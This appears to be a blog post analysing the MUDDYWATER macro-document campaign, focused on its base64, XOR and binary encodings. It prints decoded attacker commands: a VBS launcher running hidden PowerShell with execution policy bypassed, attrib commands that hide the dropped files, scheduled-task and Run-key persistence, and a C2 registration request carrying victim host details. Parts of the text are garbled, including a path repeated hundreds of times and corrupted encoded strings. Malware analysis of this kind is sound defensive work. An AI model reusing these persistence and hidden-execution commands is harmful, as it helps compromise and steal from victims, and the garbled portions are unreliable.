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MUDDYWATER

There are plenty of articles and blogs on this subject. I just wanted to take a quick look and cover some of the encoding techniques used. The whole thing looks very simple and straightforward. Very basic encoding techniques are being used. Its fascinating how a simple piece of document can do so much damage. I think attackers are using simple and legitimate methods, to bypass corporate security these days.



POWER OF MACRO

Initially victims received macro enabled Microsoft documents. Documents looked very legitimate. Let's look at some of them.





3. Once you have enable editing, please click "Enable Content" from the yellow bar above.





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Once the macro is being executed, it calls a script engined like WSCRIPT, POWERSHELL to communicate to the C2 server, exfiltrate data and downloads tools for further data theft.

WHAT DOES THE MACRO DO?

Here is the flow i.e. when document is opened and macro is executed.



By looking at the flow one can see that the payload is dropping two files called system.ps1 and system.vbs. Its also trying to change the attributes of the file i.e. trying to hide them. Scheduling a task is used for persistence.

```
"C:\Windows\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\\System32\
```

Some of the binaries downloaded are powershell scripts converted to PE files by using PS2EXE tool.



Let's look at the this flow:



ArabBrowserFont.exe -> WSCRIPT -> POWERSHELL -> C2Server



The initial GET request has base64 text, lets try to decode it.

<pre>> ./b64 P2FjdGlvbj1yZWdpc3RlciZkYXRhPVYwbE9MVkpPTkVFeFJEZEpUVFpNT2pwbWIy0DZPalkwTFdKcGRIdzJMakV1TnpZd011eE5hV055 N0dlpuUWdWMmx1Wkc5M2N5QTNJRVZ1ZEdWeWNISnBjMlVnZkVNNlhGZHBibVJ2ZDNNNk9qRTNNaTR4Tmk0eE56Y3VNVE0wTFRFd0xqQXVNQzR4T0 PQ 2 ************************************</pre>
[?action=register&data=V0l0LVJONEExRDdJTTZM0jpmb2860jY0LWJpdHw2LjEuNzYwMHxNaWNyb3NvZnQgV2luZG93cyA3IEVudGVycHJp JgfEM6XFdpbmRvd3M60jE3Mi4xNi4xNzcuMTM0LTEwLjAuMC4x0Dg]
<pre>> ./b64 V0loLVJONEExRDdJTTZM0jpmb2860jY0LWJpdHw2LjEuNzYwMHxNaWNyb3NvZnQgV2luZG93cyA3IEVudGVycHJpc2UgfEM6XFdpbmRv M60jE3Mi4xNi4xNzcuMTM0LTEwLjAuMC4x0Dg 2 ************************************</pre>
[WIN-RN4A1D7IM6L::foo::64-bit 6.1.7600 Microsoft Windows 7 Enterprise C:\Windows::172.16.177.134-10.0.0.1]

Its double encoded using base64 encoding.

Now let's get to the powershell script. There are multiple methods used in the powershell, all very straightforward though. Here is a screen shot of different variables shown encoded and decoded

```
.Charset = Chr(101 Xor 16) & Chr(122 Xor 14) & Chr(116 Xor 18) & "-" & "8"
DECODES T0: utf-8
.DataType = Chr(100 Xor 6) & Chr(109 Xor 4) & Chr(99 Xor 13) & Chr(34 Xor 12) & Chr(100 Xor 6) & Chr(106 Xor 11) & C
hr(119 Xor 4) & Chr(102 Xor 3) & "6" & "4"
DECODES T0: bin.base64
```

Another example, once again is simple base64 encoded:

In the above scenario, base64 is converted to ascii and binary representation. I am sure you know binary, i.e. to the base 2 E.g. to convert binary value **1100110** to decimal (binary is base 2 and decimal is base 10)

 $(1 * 2^{6}) + (1 * 2^{5}) + (0 * 2^{4}) + (0 * 2^{3}) + (1 * 2^{2}) + (1 * 2^{1}) + (0 * 2^{0})$ 64 + 32 + 0 + 0 + 4 + 2 + 0

If we add all the values, it equals 102 in decimal. At the same time decimal 102 equals character 'f' in ascii i.e. lowercase 'f'. Ok back to the powershell script. We already decoded base64 and we noticed some binary (base 2) values. Here is what the script looks like:

((1]00110 , 1110101,1101110 , 1100011,1110100 ,1101001,1101111,1101110,100000 , 1101000 , 1110100 ,1110100 ,1110000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100000 ,100111 , 1011100 ,1101100 ,101000 ,101000 ,101001 ,1101100 ,1010100 ,1101100 ,1011000 ,1010101 ,1101000 ,101000 ,101000 ,101001 ,110100 ,101000 ,101001 ,110100 ,100100 ,110100 ,100100 ,101001 ,101100 ,100100 ,101000 ,101001 ,110100 ,100000 ,101010 ,100100 ,100100 ,100000 ,101010 ,100100 ,100000 ,101010 ,100100 ,100000 ,101010 ,100100 ,100000 ,101010 ,100000 ,101011 ,100101 ,1100101 ,1100101 ,1100101 ,100100 ,100000 ,101010 ,110010 ,100100 ,100000 ,101010 ,100000 ,101110 ,100000 ,101011 ,100100 ,1100000 ,101110 ,100100 ,1100000 ,101110 ,100000 ,101110 ,100000 ,101110 ,1100010 ,1100000 ,101110 ,1100000 ,101110 ,1100101 ,1100000 ,101110 ,1100101 ,1100000 ,101101 ,100101 ,100000 ,101101 ,100101 ,100100 ,1100101 ,1100000 ,110110 ,1100101 ,100100 ,1100100 ,1100101 ,100101 ,1100101 ,1100000 ,111001 ,1100101 ,1100101 ,100100 ,1100101 ,100101 ,100100 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100101 ,1100100 ,1100100 ,1100100 ,1100101 ,110000 ,111001 ,110000 ,1100101 ,1100101 ,1100100 ,110010 ,1100100 ,1100100 ,1100100 ,1100100 ,1100100 ,1100100

As we can see that the first few bytes **1100110** equals 'f' (Please check above if you missed it). I wrote a quick script to decode it. Here is a short video

https://youtu.be/tsi1DvjfbS8

If you want to use some of the tools you can download from:

http://udurrani.com/0fff/0x8/encd.zip

Its a zip file, unzip it with password 'foo'. There are 2 executables. One to encode / decode base64 and another one to convert binary (base 2) to ascii

Example:

b64.exe hello 1	// Will encode string hello to base 64
b64.exe aGVsbG8= 2	// Will decode the value to ascii
binasc.exe 1100110	// Will decode to ascii value

The reason I always develop command line tools is simply because its easy to integrate with other tools / scripts

Ok, back to the powershell script. Once decoded we see some very interesting things

"C:\Windows\System32\ <u>WScript</u> .exe" "C:\Users\Public\Documents\system.vbs"
Set objShell = WScript.CreateObject("WScript.Shell") command = "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -file C:\Users\Public\Documents\system.ps1" objShell.Run command.0 Set objShell = Nothing
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -file C:\Users\Public\Documents\system.ps1

"C:\Windows\system32\attrib.exe" +s +h C:\Users\Public\Documents\system.vbs "C:\Windows\system32\attrib.exe" +s +h C:\Users\Public\Documents\system.ps1 "C:\Windows\system32\<u>schtasks</u>.exe" /Create /RU system /SC ONLOGON /TN Microsoft\WindowsOptimizationsService /TR "wscript C:\Users\Public\Documents\system.vbs" /F

attrib +s +h "\$s_path\system.vbs"

attrib +s +h "\$s_path\system.ps1"

regWrite -p HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -k "Windows Optimizations" -v "wscript \$tsk"
regWrite -p HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run -k "Windows Optimizations" -v "wscript \$tsk"
schtasks /Create /RU system /SC ONLOGON /TN Microsoft\WindowsOptimizationsService /TR "wscript \$tsk" /F

The following function is used: If any of the following processes are running in the process stack, Shutdown the machine instantly

CONCLUSION

My intention is not to cover this campaign, just wanted to write a little bit about the encoding. If you want to know more about this campaign, please google MUDDYWATER.

Data theft is not easy to detect. Most security products can't just complain about established sockets. In most cases ip address or domain reputation is useful but sometimes even that is not possible. Let me show you some zero day data theft attempts using well-known antivirus products (Videos)

https://youtu.be/TLTep9zQhug	// McAfee
https://youtu.be/le7TKQSmr8Q	// Kaspersky
https://youtu.be/704CsgQjNEU	// Symantec

For more on data theft:

http://udurrani.com/exp0/n2.html